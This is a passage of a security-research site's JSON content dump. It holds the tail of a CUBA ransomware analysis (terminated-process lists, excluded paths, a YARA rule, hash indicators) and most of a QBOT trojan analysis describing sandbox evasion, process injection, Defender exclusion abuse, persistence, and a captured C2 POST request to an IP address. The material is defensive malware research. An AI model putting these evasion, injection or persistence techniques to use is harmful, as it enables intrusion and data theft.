Stop\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1082/\",rel:\"nofollow\",children:\"System Information Discovery\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1070/004/\",rel:\"nofollow\",children:\"Indicator Removal on Host: File Deletion\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1027/002/\",rel:\"nofollow\",children:\"Obfuscated Files or Information: Software Packing\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1016/\",rel:\"nofollow\",children:\"System Network Configuration Discovery\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1614/001/\",rel:\"nofollow\",children:\"System Location Discovery: System Language Discovery\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1486/\",rel:\"nofollow\",children:\"Data Encrypted for Impact\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1134/\",rel:\"nofollow\",children:\"Access Token Manipulation\"})}),`\n`]}),`\n`,(0,n.jsx)(e.h2,{id:\"appendix\",children:\"Appendix\"}),`\n`,(0,n.jsx)(e.h3,{id:\"list-of-terminated-processes\",children:\"List of Terminated Processes\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:\"sqlagent.exe\"}),`\n`,(0,n.jsx)(e.li,{children:\"sqlservr.exe\"}),`\n`,(0,n.jsx)(e.li,{children:\"sqlwriter.exe\"}),`\n`,(0,n.jsx)(e.li,{children:\"sqlceip.exe\"}),`\n`,(0,n.jsx)(e.li,{children:\"msdtc.exe\"}),`\n`,(0,n.jsx)(e.li,{children:\"sqlbrowser.exe\"}),`\n`,(0,n.jsx)(e.li,{children:\"vmwp.exe\"}),`\n`,(0,n.jsx)(e.li,{children:\"vmsp.exe\"}),`\n`,(0,n.jsx)(e.li,{children:\"outlook.exe\"}),`\n`,(0,n.jsx)(e.li,{children:\"Microsoft.Exchange.Store.Worker.exe\"}),`\n`]}),`\n`,(0,n.jsx)(e.h3,{id:\"list-of-terminated-services\",children:\"List of Terminated Services\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:\"MySQL\"}),`\n`,(0,n.jsx)(e.li,{children:\"MySQL80\"}),`\n`,(0,n.jsx)(e.li,{children:\"SQLSERVERAGENT\"}),`\n`,(0,n.jsx)(e.li,{children:\"MSSQLSERVER\"}),`\n`,(0,n.jsx)(e.li,{children:\"SQLWriter\"}),`\n`,(0,n.jsx)(e.li,{children:\"SQLTELEMETRY\"}),`\n`,(0,n.jsx)(e.li,{children:\"MSDTC\"}),`\n`,(0,n.jsx)(e.li,{children:\"SQLBrowser\"}),`\n`,(0,n.jsx)(e.li,{children:\"vmcompute\"}),`\n`,(0,n.jsx)(e.li,{children:\"vmms\"}),`\n`,(0,n.jsx)(e.li,{children:\"MSExchangeUMCR\"}),`\n`,(0,n.jsx)(e.li,{children:\"MSExchangeUM\"}),`\n`,(0,n.jsx)(e.li,{children:\"MSExchangeTransportLogSearch\"}),`\n`,(0,n.jsx)(e.li,{children:\"MSExchangeTransport\"}),`\n`,(0,n.jsx)(e.li,{children:\"MSExchangeThrottling\"}),`\n`,(0,n.jsx)(e.li,{children:\"MSExchangeSubmission\"}),`\n`,(0,n.jsx)(e.li,{children:\"MSExchangeServiceHost\"}),`\n`,(0,n.jsx)(e.li,{children:\"MSExchangeRPC\"}),`\n`,(0,n.jsx)(e.li,{children:\"MSExchangeRepl\"}),`\n`,(0,n.jsx)(e.li,{children:\"MSExchangePOP3BE\"}),`\n`,(0,n.jsx)(e.li,{children:\"MSExchangePop3\"}),`\n`,(0,n.jsx)(e.li,{children:\"MSExchangeNotificationsBroker\"}),`\n`,(0,n.jsx)(e.li,{children:\"MSExchangeMailboxReplication\"}),`\n`,(0,n.jsx)(e.li,{children:\"MSExchangeMailboxAssistants\"}),`\n`,(0,n.jsx)(e.li,{children:\"MSExchangeIS\"}),`\n`,(0,n.jsx)(e.li,{children:\"MSExchangeIMAP4BE\"}),`\n`,(0,n.jsx)(e.li,{children:\"MSExchangeImap4\"}),`\n`,(0,n.jsx)(e.li,{children:\"MSExchangeHMRecovery\"}),`\n`,(0,n.jsx)(e.li,{children:\"MSExchangeHM\"}),`\n`,(0,n.jsx)(e.li,{children:\"MSExchangeFrontEndTransport\"}),`\n`,(0,n.jsx)(e.li,{children:\"MSExchangeFastSearch\"}),`\n`,(0,n.jsx)(e.li,{children:\"MSExchangeEdgeSync\"}),`\n`,(0,n.jsx)(e.li,{children:\"MSExchangeDiagnostics\"}),`\n`,(0,n.jsx)(e.li,{children:\"MSExchangeDelivery\"}),`\n`,(0,n.jsx)(e.li,{children:\"MSExchangeDagMgmt\"}),`\n`,(0,n.jsx)(e.li,{children:\"MSExchangeCompliance\"}),`\n`,(0,n.jsx)(e.li,{children:\"MSExchangeAntispamUpdate\"}),`\n`]}),`\n`,(0,n.jsx)(e.h3,{id:\"excluded-directories\",children:\"Excluded Directories\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:\"\\\\windows\\\\\"}),`\n`,(0,n.jsx)(e.li,{children:\"\\\\program files\\\\microsoft office\\\\\"}),`\n`,(0,n.jsx)(e.li,{children:\"\\\\program files (x86)\\\\microsoft office\\\\\"}),`\n`,(0,n.jsx)(e.li,{children:\"\\\\program files\\\\avs\\\\\"}),`\n`,(0,n.jsx)(e.li,{children:\"\\\\program files (x86)\\\\avs\\\\\"}),`\n`,(0,n.jsx)(e.li,{children:\"$recycle.bin\\\\\"}),`\n`,(0,n.jsx)(e.li,{children:\"\\\\boot\\\\\"}),`\n`,(0,n.jsx)(e.li,{children:\"\\\\recovery\\\\\"}),`\n`,(0,n.jsx)(e.li,{children:\"\\\\system volume information\\\\\"}),`\n`,(0,n.jsx)(e.li,{children:\"\\\\msocache\\\\\"}),`\n`,(0,n.jsx)(e.li,{children:\"\\\\users\\\\all users\\\\\"}),`\n`,(0,n.jsx)(e.li,{children:\"\\\\users\\\\default user\\\\\"}),`\n`,(0,n.jsx)(e.li,{children:\"\\\\users\\\\default\\\\\"}),`\n`,(0,n.jsx)(e.li,{children:\"\\\\temp\\\\\"}),`\n`,(0,n.jsx)(e.li,{children:\"\\\\inetcache\\\\\"}),`\n`,(0,n.jsx)(e.li,{children:\"\\\\google\\\\\"}),`\n`]}),`\n`,(0,n.jsx)(e.h3,{id:\"excluded-file-extensions\",children:\"Excluded File Extensions\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:\".exe\"}),`\n`,(0,n.jsx)(e.li,{children:\".dll\"}),`\n`,(0,n.jsx)(e.li,{children:\".sys\"}),`\n`,(0,n.jsx)(e.li,{children:\".ini\"}),`\n`,(0,n.jsx)(e.li,{children:\".lnk\"}),`\n`,(0,n.jsx)(e.li,{children:\".vbm\"}),`\n`,(0,n.jsx)(e.li,{children:\".cuba\"}),`\n`]}),`\n`,(0,n.jsx)(e.h2,{id:\"yara-rule\",children:\"YARA Rule\"}),`\n`,(0,n.jsx)(e.p,{children:\"Elastic Security has created YARA rules to identify CUBA ransomware activity.\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`rule Windows_Ransomware_Cuba {\n meta:\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Ransomware\"\n family = \"Cuba\"\n threat_name = \"Windows.Ransomware.Cuba\"\n Reference_sample = \"33352a38454cfc247bc7465bf177f5f97d7fd0bd220103d4422c8ec45b4d3d0e\"\n\n strings:\n $a1 = { 45 EC 8B F9 8B 45 14 89 45 F0 8D 45 E4 50 8D 45 F8 66 0F 13 }\n $a2 = { 8B 06 81 38 46 49 44 45 75 ?? 81 78 04 4C 2E 43 41 74 }\n $b1 = \"We also inform that your databases, ftp server and file server were downloaded by us to our servers.\" ascii fullword\n $b2 = \"Good day. All your files are encrypted. For decryption contact us.\" ascii fullword\n $b3 = \".cuba\" wide fullword\n\n condition:\n any of ($a*) or all of ($b*)\n}\n`})}),`\n`,(0,n.jsx)(e.h2,{id:\"observations\",children:\"Observations\"}),`\n`,(0,n.jsx)(e.p,{children:\"Atomic indicators observed in our investigation.\"}),`\n`,(0,n.jsx)(e.div,{className:\"table-container\",children:(0,n.jsxs)(e.table,{children:[(0,n.jsx)(e.thead,{children:(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.th,{}),(0,n.jsx)(e.th,{}),(0,n.jsx)(e.th,{})]})}),(0,n.jsxs)(e.tbody,{children:[(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"Indicator\"}),(0,n.jsx)(e.td,{children:\"Type\"}),(0,n.jsx)(e.td,{children:\"Note\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"32beefe2c5e28e87357813c0ef91f47b631a3dff4a6235256aa123fc77564346\"}),(0,n.jsx)(e.td,{children:\"SHA256\"}),(0,n.jsx)(e.td,{children:\"CUBA Ransomware\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"0f385cc69a93abeaf84994e7887cb173e889d309a515b55b2205805bdfe468a3\"}),(0,n.jsx)(e.td,{children:\"SHA256\"}),(0,n.jsx)(e.td,{children:\"CUBA Ransomware\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"bcf0f202db47ca671ed6146040795e3c8315b7fb4f886161c675d4ddf5fdd0c4\"}),(0,n.jsx)(e.td,{children:\"SHA256\"}),(0,n.jsx)(e.td,{children:\"CUBA Ransomware\"})]})]})]})}),`\n`,(0,n.jsx)(e.h2,{id:\"artifacts\",children:\"Artifacts\"}),`\n`,(0,n.jsx)(e.p,{children:\"Artifacts are also available for download in both ECS and STIX format in a combined zip bundle.\"})]})}function x(i={}){let{wrapper:e}=i.components||{};return e?(0,n.jsx)(e,Object.assign({},i,{children:(0,n.jsx)(d,i)})):d(i)}var E=x;return b(C);})();\n;return Component;"},"_id":"articles/cuba-ransomware-malware-analysis.mdx","_raw":{"sourceFilePath":"articles/cuba-ransomware-malware-analysis.mdx","sourceFileName":"cuba-ransomware-malware-analysis.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/cuba-ransomware-malware-analysis"},"type":"Article","imageUrl":"/assets/images/cuba-ransomware-malware-analysis/blog-thumb-coin-stacks.jpg","readingTime":"16 min read","series":"","url":"/cuba-ransomware-malware-analysis","headings":[{"level":2,"title":"Summary","href":"#summary"},{"level":3,"title":"Static Analysis","href":"#static-analysis"},{"level":3,"title":"Sections","href":"#sections"},{"level":3,"title":"Imports","href":"#imports"},{"level":3,"title":"Strings","href":"#strings"},{"level":2,"title":"Code Analysis","href":"#code-analysis"},{"level":3,"title":"Entry Point","href":"#entry-point"},{"level":3,"title":"Command-line Options","href":"#command-line-options"},{"level":3,"title":"Process Termination","href":"#process-termination"},{"level":3,"title":"Local Volume Enumeration","href":"#local-volume-enumeration"},{"level":3,"title":"Multithreaded Encryption Synchronization","href":"#multithreaded-encryption-synchronization"},{"level":3,"title":"Encryption Implementation","href":"#encryption-implementation"},{"level":3,"title":"File Enumeration","href":"#file-enumeration"},{"level":2,"title":"MITRE ATT\u0026CK Techniques","href":"#mitre-attck-techniques"},{"level":2,"title":"Appendix","href":"#appendix"},{"level":3,"title":"List of Terminated Processes","href":"#list-of-terminated-processes"},{"level":3,"title":"List of Terminated Services","href":"#list-of-terminated-services"},{"level":3,"title":"Excluded Directories","href":"#excluded-directories"},{"level":3,"title":"Excluded File Extensions","href":"#excluded-file-extensions"},{"level":2,"title":"YARA Rule","href":"#yara-rule"},{"level":2,"title":"Observations","href":"#observations"},{"level":2,"title":"Artifacts","href":"#artifacts"}],"author":[{"title":"Salim Bitam","slug":"salim-bitam","description":"Elastic Security Labs Team Research Engineer II, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var l=Object.create;var i=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,_=Object.prototype.hasOwnProperty;var d=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),j=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},o=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of f(e))!_.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(s=x(e,a))||s.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?l(g(t)):{},o(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003eo(i({},\"__esModule\",{value:!0}),t);var m=d((D,c)=\u003e{c.exports=_jsx_runtime});var y={};j(y,{default:()=\u003ew,frontmatter:()=\u003eb});var r=p(m()),b={title:\"Salim Bitam\",description:\"Elastic Security Labs Team Research Engineer II, Malware\",slug:\"salim-bitam\"};function u(t){return(0,r.jsx)(r.Fragment,{})}function h(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(u,t)})):u(t)}var w=h;return M(y);})();\n;return Component;"},"_id":"authors/salim-bitam.mdx","_raw":{"sourceFilePath":"authors/salim-bitam.mdx","sourceFileName":"salim-bitam.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/salim-bitam"},"type":"Author","imageUrl":"","url":"/authors/salim-bitam"}],"category":[{"title":"Malware analysis","slug":"malware-analysis","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var s=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)s(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,o)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!g.call(t,r)\u0026\u0026r!==e\u0026\u0026s(t,r,{get:()=\u003en[r],enumerable:!(o=x(n,r))||o.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?u(_(t)):{},i(n||!t||!t.__esModule?s(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var l=j((X,c)=\u003e{c.exports=_jsx_runtime});var D={};M(D,{default:()=\u003eC,frontmatter:()=\u003ew});var a=d(l()),w={title:\"Malware analysis\",slug:\"malware-analysis\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function y(t={}){let{wrapper:n}=t.components||{};return n?(0,a.jsx)(n,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var C=y;return p(D);})();\n;return Component;"},"_id":"categories/malware-analysis.mdx","_raw":{"sourceFilePath":"categories/malware-analysis.mdx","sourceFileName":"malware-analysis.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/malware-analysis"},"type":"Category","url":"/categories/malware-analysis"}]},{"title":"QBOT Malware Analysis","slug":"qbot-malware-analysis","date":"2023-02-14","description":"Elastic Security Labs releases a QBOT malware analysis report covering the execution chain. From this research, the team has produced a YARA rule, configuration-extractor, and indicators of compromises (IOCs).","image":"blog-thumb-drill-bit.jpg","tags":["ref3726","qbot","qakbot"],"body":{"raw":"\n## Key takeaways\n\n- Elastic Security Labs is releasing a QBOT malware analysis report from a recent [campaign](https://www.elastic.co/security-labs/exploring-the-qbot-attack-pattern)\n- This report covers the execution chain from initial infection to communication with its command and control containing details about in depth features such as its injection mechanism and dynamic persistence mechanism.\n- From this research we produced a [YARA rule](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Qbot.yar), [configuration-extractor](https://www.elastic.co/security-labs/qbot-configuration-extractor), and indicators of compromises (IOCs)\n\n## Preamble\n\nAs part of our mission to build knowledge about the most common malware families targeting institutions and individuals, the Elastic Malware and Reverse Engineering team (MARE) completed the analysis of the core component of the banking trojan QBOT/QAKBOT V4 from a previously reported [campaign](https://www.elastic.co/security-labs/exploring-the-qbot-attack-pattern).\n\nQBOT — also known as QAKBOT — is a modular Trojan active since 2007 used to download and run binaries on a target machine. This document describes the in-depth reverse engineering of the QBOT V4 core components. It covers the execution flow of the binary from launch to communication with its command and control (C2).\n\nQBOT is a multistage, multiprocess binary that has capabilities for evading detection, escalating privileges, configuring persistence, and communicating with C2 through a set of IP addresses. The C2 can update QBOT, upload new IP addresses, upload and run fileless binaries, and execute shell commands.\n\nAs a result of this analysis, MARE has produced a new yara rule based on the core component of QBOT as well as a static configuration extractor able to extract and decrypt its strings, its configuration, and its C2 IP address list.\n\n\u003e For information on the QBOT configuration extractor and malware analysis, check out our blog posts detailing this:\n\u003e\n\u003e - [QBOT Configuration Extractor](https://www.elastic.co/security-labs/qbot-configuration-extractor)\n\u003e - [QBOT Attack Pattern](https://www.elastic.co/security-labs/exploring-the-qbot-attack-pattern)\n\n## Execution flow\n\nThis section describes the QBOT execution flow in the following three stages:\n\n- First Stage: Initialization\n- Second Stage: Installation\n- Third Stage: Communication\n\n### Stage 1\n\n![First stage execution flow](/assets/images/qbot-malware-analysis/1qbot.png)\n\nThe sample is executed with the **regsvr32.exe** binary, which in turn will call QBOT’s **DllRegisterServer** export:\n\n![regsvr32.exe loading QBOT and calling its DllRegisterServer export.](/assets/images/qbot-malware-analysis/2qbot.png)\n\nAfter execution, QBOT checks if it’s running under the Windows Defender sandbox by checking the existence of a specific subdirectory titled: **C:\\\\INTERNAL\\\\\\_\\_empty** , if this folder exists, the malware terminates itself:\n\n![QBOT checking if it is running and Windows Defender sandbox.](/assets/images/qbot-malware-analysis/3qbot.jpg)\n\nThe malware will then enumerate running processes to detect any antivirus (AV) products on the machine. The image below contains a list of AV vendors QBOT reacts to:\n\n![Enum of vendors QBOT can detect.](/assets/images/qbot-malware-analysis/4qbot.jpg)\n\nAV detection will not prevent QBOT from running. However, it will change its behavior in later stages. In order to generate a seed for its pseudorandom number generator (PRNG), QBOT generates a fingerprint of the computer by using the following expression:\n\n```\n**fingerprint = CRC32(computerName + CVolumeSerialNumber + AccountName)**\n```\n\nIf the **“C:”** volume doesn’t exist the expression below is used instead:\n\n```\n**fingerprint = CRC32(computerName + AccountName)**\n```\n\nFinally, QBOT will choose a set of targets to inject into depending on the AVs previously detected and the machine architecture:\n\n| | |\n| -------------------------- | ------------------------------------------------------------------------------------------------------------- | ---------------------- | ----------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------ |\n| AV detected \u0026 architecture | Targets |\n| BitDefender | Kaspersky | Sophos | TrendMicro | \u0026 x86 | %SystemRoot%\\\\SysWOW64\\\\mobsync.exe %SystemRoot%\\\\SysWOW64\\\\explorer.exe |\n| BitDefender | Kaspersky | Sophos | TrendMicro \u0026 x64 | %SystemRoot%\\\\System32\\\\mobsync.exe%SystemRoot%\\\\explorer.exe%ProgramFiles%\\\\Internet Explorer\\\\iexplore.exe |\n| Avast | AVG | Windows Defender \u0026 x86 | %SystemRoot%\\\\SysWOW64\\\\OneDriveSetup.exe%SystemRoot%\\\\SysWOW64\\\\msra.exe%ProgramFiles(x86)%\\\\Internet Explorer\\\\iexplore.exe |\n| Avast | AVG | Windows Defender \u0026 x64 | %SystemRoot%\\\\System32\\\\OneDriveSetup.exe%SystemRoot%\\\\System32\\\\msra.exe |\n| x86 | '%SystemRoot%\\\\explorer.exe%SystemRoot%\\\\System32\\\\msra.exe%SystemRoot%\\\\System32\\\\OneDriveSetup.exe |\n| x64 | %SystemRoot%\\\\SysWOW64\\\\explorer.exe%SystemRoot%\\\\SysWOW64\\\\msra.exe%SystemRoot%\\\\System32\\\\OneDriveSetup.exe |\n\nQBOT will try to inject itself iteratively, using its second stage as an entry point, into one of its targets– choosing the next target process if the injection fails. Below is an example of QBOT injecting into **explorer.exe**.\n\n![QBOT injecting itself into explorer.exe](/assets/images/qbot-malware-analysis/7qbot.png)\n\n### Stage 2\n\n![Second stage execution flow](/assets/images/qbot-malware-analysis/8qbot.png)\n\nQBOT begins its second stage by saving the content of its binary in memory and then corrupting the file on disk:\n\n![QBOT corrupting its binary file](/assets/images/qbot-malware-analysis/0.jpg)\n\nThe malware then loads its configuration from one of its resource sections:\n\n![QBOT loading its configuration from resource](/assets/images/qbot-malware-analysis/10qbot.jpg)\n\nQBOT also has the capability to load its configuration from a **.cfg** file if available in the process root directory:\n\n![QBOT trying to load its configuration from a file](/assets/images/qbot-malware-analysis/1.jpg)\n\nAfter loading its configuration, QBOT proceeds to install itself on the machine– initially by writing its internal configuration to the registry:\n\n![QBOT writing its configuration to the registry](/assets/images/qbot-malware-analysis/2.jpg)\n\nShortly after, QBOT creates a persistence subdirectory with a randomly-generated name under the **%APPDATA%\\Microsoft** directory. This folder is used to drop the in-memory QBOT binary for persistence across reboot:\n\n![QBOT creating its persistence folder](/assets/images/qbot-malware-analysis/3.jpg)\n\nAt this point, the folder will be empty because the malware will only drop the binary if a shutdown/reboot event is detected. This “contingency” binary will be deleted after reboot.\n\nQBOT will attempt the same install process for all users and try to either execute the malware within the user session if it exists, or create a value under the **CurrentVersion\\Run** registry key for the targeted user to launch the malware at the next login. Our analysis didn’t manage to reproduce this behavior on an updated Windows 10 machine. The only artifact observed is the randomly generated persistence folder created under the user **%APPDATA%\\Microsoft** directory:\n\n![Persistence folder is empty when QBOT is running](/assets/images/qbot-malware-analysis/4qbot.jpg)\n\nQBOT finishes its second stage by restoring the content of its corrupted binary and registering a task via **Schtask** to launch a QBOT service under the **NT AUTHORITY\\SYSTEM** account.\n\nThe first stage has a special execution path where it registers a service handler if the process is running under the **SYSTEM** account. The QBOT service then executes stages 2 and 3 as normal, corrupting the binary yet again and executing commands on behalf of other QBOT processes via messages received through a randomly generated named pipe:\n\n![QBOT running as SYSTEM service](/assets/images/qbot-malware-analysis/15qbot.png)\n\n### Stage 3\n\n![Third stage execution flow](/assets/images/qbot-malware-analysis/16qbot.png)\n\nQBOT begins its third stage by registering a window and console event handler to monitor suspend/resume and shutdown/reboot events. Monitoring these events enables the malware to install persistence dynamically by dropping a copy of the QBOT binary in the persistence folder and creating a value under the **CurrentVersion\\Run** registry key:\n\n![QBOT install persistence when suspend/resume or shutdown/reboot event occurs](/assets/images/qbot-malware-analysis/7qbot.png)\n\nAt reboot, QBOT will take care of deleting any persistence artifacts.\n\nThe malware will proceed to creating a watchdog thread to monitor running processes against a hardcoded list of binaries every second. If any process matches, a registry value is set that will then change QBOT behavior to use randomly generated IP addresses instead of the real one, thus never reaching its command and control:\n\n| | | |\n| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------- |\n| frida-winjector-helper-32.exefrida-winjector-helper-64.exeTcpdump.exewindump.exeethereal.exewireshark.exeettercap.exertsniff.exepacketcapture.execapturenet.exeqak_proxy | dumpcap.exeCFF Explorer.exenot_rundll32.exeProcessHacker.exetcpview.exefilemon.exeprocmon.exeidaq64.exePETools.exeImportREC.exeLordPE.exe | SysInspector.exeproc_analyzer.exesysAnalyzer.exesniff_hit.exejoeboxcontrol.exejoeboxserver.exeResourceHacker.exex64dbg.exeFiddler.exesniff_hit.exesysAnalyzer.exe |\n\nQBOT will then load its domains from one of its **.rsrc** files and from the registry as every domain update received from its C2 will be part of its configuration written to the registry. See Extracted Network Infrastructure in Appendix A.\n\nFinally, the malware starts communicating with C2 via HTTP and TLS. The underlying protocol uses a JSON object encapsulated within an enciphered message which is then base64-encoded:\n\n![QBOT message format](/assets/images/qbot-malware-analysis/8qbot.png)\n\nBelow an example of a HTTP POST request sent by QBOT to its C2:\n\n```\nAccept: application/x-shockwave-flash, image/gif, image/jpeg, image/pjpeg, */*\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko\nHost: 181.118.183.98\nContent-Length: 77\nCache-Control: no-cache\n\nqxlbjrbj=NnySaFAKLt+YgjH3UET8U6AUwT9Lg51z6zC+ufeAjt4amZAXkIyDup74MImUA4do4Q==\n```\n\nThrough this communication channel, QBOT receives commands from C2 — see Appendix B (Command Handlers). Aside from management commands (update, configuration knobs), our sample only handles binary execution-related commands, but we know that the malware is modular and can be built with additional features like a VNC server, a reverse shell server, proxy support (to be part of the domains list), and numerous other capabilities are feasible.\n\n## Features\n\n### Mersenne Twister Random Number Generator\n\nQBOT uses an implementation of [Mersenne Twister Random Number Generator](https://www.sciencedirect.com/topics/computer-science/mersenne-twister) (MTRNG) to generate random values:\n\n![QBOT's Mersenne Twister Random Number Generator implementation](/assets/images/qbot-malware-analysis/19qbot.jpg)\n\nThe MTRNG engine is then used by various functions to generate different types of data, for example for generating registry key values and persistence folders. As QBOT needs to reproduce values, it will almost always use the computer fingerprint and a “salt” specific to the value it wants to generate:\n\n![QBOT generating random event name with fixed seed and salt](/assets/images/qbot-malware-analysis/20qbot.jpg)\n\n### String obfuscation\n\nAll QBOT strings are XOR-encrypted and concatenated in a single blob we call a “string bank”. To get a specific string the malware needs a string identifier (identifier being an offset in the string bank), a decryption key, and the targeted string bank.\n\n![GetStringAux function prototype.](/assets/images/qbot-malware-analysis/1qbot.png)\n\nAs this sample has two string banks, it has four **GetString**' functions currying the string bank and the decryption key parameters: One C string function and one wide string function for each string bank. Wide string functions use the same string banks, but convert the data to **utf-16**.\n\n![QBOT calling GetString function](/assets/images/qbot-malware-analysis/2qbot.png)\n\n![GetString function currying GetStringAux with string bank and key parameters](/assets/images/qbot-malware-analysis/3qbot.jpg)\n\nSee Appendix C (String Deciphering Implementation).\n\n### Import obfuscation\n\nQBOT resolves its imports using a hash table:\n\n![QBOT calling GetApi function](/assets/images/qbot-malware-analysis/4qbot.jpg)\n\n![GetApi function prototype](/assets/images/qbot-malware-analysis/25qbot.jpg)\n\nThe malware resolves the library name through its GetString function and then resolves the hash table with a classic library’s exports via manual parsing, comparing each export to the expected hash. In this sample, the hashing comparison algorithm use this formula:\n\n```\n**CRC32(exportName) XOR 0x218fe95b == hash**\n```\n\n### Resource obfuscation\n\nThe malware is embedded with different resources, the common ones are the configuration and the domains list. Resources are encrypted the same way: The decryption key may be either embedded within the data blob or provided. Once the resource is decrypted, an embedded hash is used to check data validity.\n\n![QBOT decrypting its resource with embedded or provided key](/assets/images/qbot-malware-analysis/26qbot.jpg)\n\nSee Appendix D (Resource Deciphering Implementation).\n\n### Cyrillic keyboard language detection\n\nAt different stages, QBOT will check if the computer uses a Cyrillic language keyboard. If it does, it prevents further execution.\n\n![Set of languages QBOT is looking to stop its execution](/assets/images/qbot-malware-analysis/7qbot.png)\n\n### AVG/AVAST special behavior\n\nAVG and Avast share the same antivirus engine. Thus if QBOT detects one of those antivirus running, it will also check at the installation stage if one of their DLLs is loaded within the malware memory space. If so, QBOT will skip the installation phase.\n\n![QBOT checking if AVG/AVAST has hooked its process](/assets/images/qbot-malware-analysis/8qbot.png)\n\n### Windows Defender special behavior\n\nIf QBOT is running under **SYSTEM** account, it will add its persistence folder to the Windows Defender exclusion path in the registry. It will also do this for the legacy Microsoft Security Essential (MSE) exclusion path if detected.\n\n![QBOT adding its persistence folder to Windows Defender and MSE exclusion paths](/assets/images/qbot-malware-analysis/29qbot.jpg)\n\n### Exception list process watchdog\n\nEach second, QBOT parses running processes looking for one matching the hardcoded exception list. If any is found, a “fuse” value is set in the registry and the watchdog stops. If this fuse value is set, QBOT will not stop execution– but at the third stage, the malware will use randomly generated IP and won't be able to contact C2.\n\n![Watchdog thread setting fuse if any Exceptionlisted process is detected](/assets/images/qbot-malware-analysis/30qbot.jpg)\n\n![QBOT using randomly generated IP address if fuse is set]/assets/images/qbot-malware-analysis/1qbot.png)\n\n### QBOT process injection\n\n#### Second stage injection\n\nTo inject its second stage into one of a hardcoded target, QBOT uses a classic **CreateProcess** , **WriteProcessMemory** , **ResumeProcess** DLL injection technique. The malware will create a process, allocate and write the QBOT binary within the process memory, write a copy of its engine, and patch the entry point to jump to a special function. This function performs a light initialization of QBOT and its engine within the new process environment, alerts the main process of its success, and then execute the second stage.\n\n![QBOT second stage injection]/assets/images/qbot-malware-analysis/2qbot.png)\n\n![QBOT injection entry point]/assets/images/qbot-malware-analysis/3qbot.jpg)\n\n#### Injecting library from command and control\n\nQBOT uses the aforementioned method to inject libraries received from C2. The difference is that as well as mapping itself, the malware will also map the received binary and use a library loader as entry point.\n\n![QBOT DLL loader injection]/assets/images/qbot-malware-analysis/4qbot.jpg)\n\n![QBOT Dll loader entrypoint](/assets/images/qbot-malware-analysis/35qbot.jpg)\n\n### Multi-user installation\n\nPart of the QBOT installation process is installing itself within others users’ accounts. To do so, the malware enumerates each user with an account on the machine (local and domain), then dumps its configuration under the user’s **Software\\Microsoft** registry key, creates a persistence folder under the users’ **%APPDATA%\\Microsoft** folder, and finally tries to either launch QBOT under the user session if the session exist, or else creates a run key to launch the malware when the user will log in.\n\n![QBOT installation \u0026 run for one user](/assets/images/qbot-malware-analysis/36qbot.jpg)\n\n### Dynamic persistence\n\nQBOT registers a window handler to monitor suspend/resume events. When they occur, the malware will install/uninstall persistence.\n\n![QBOT window handler 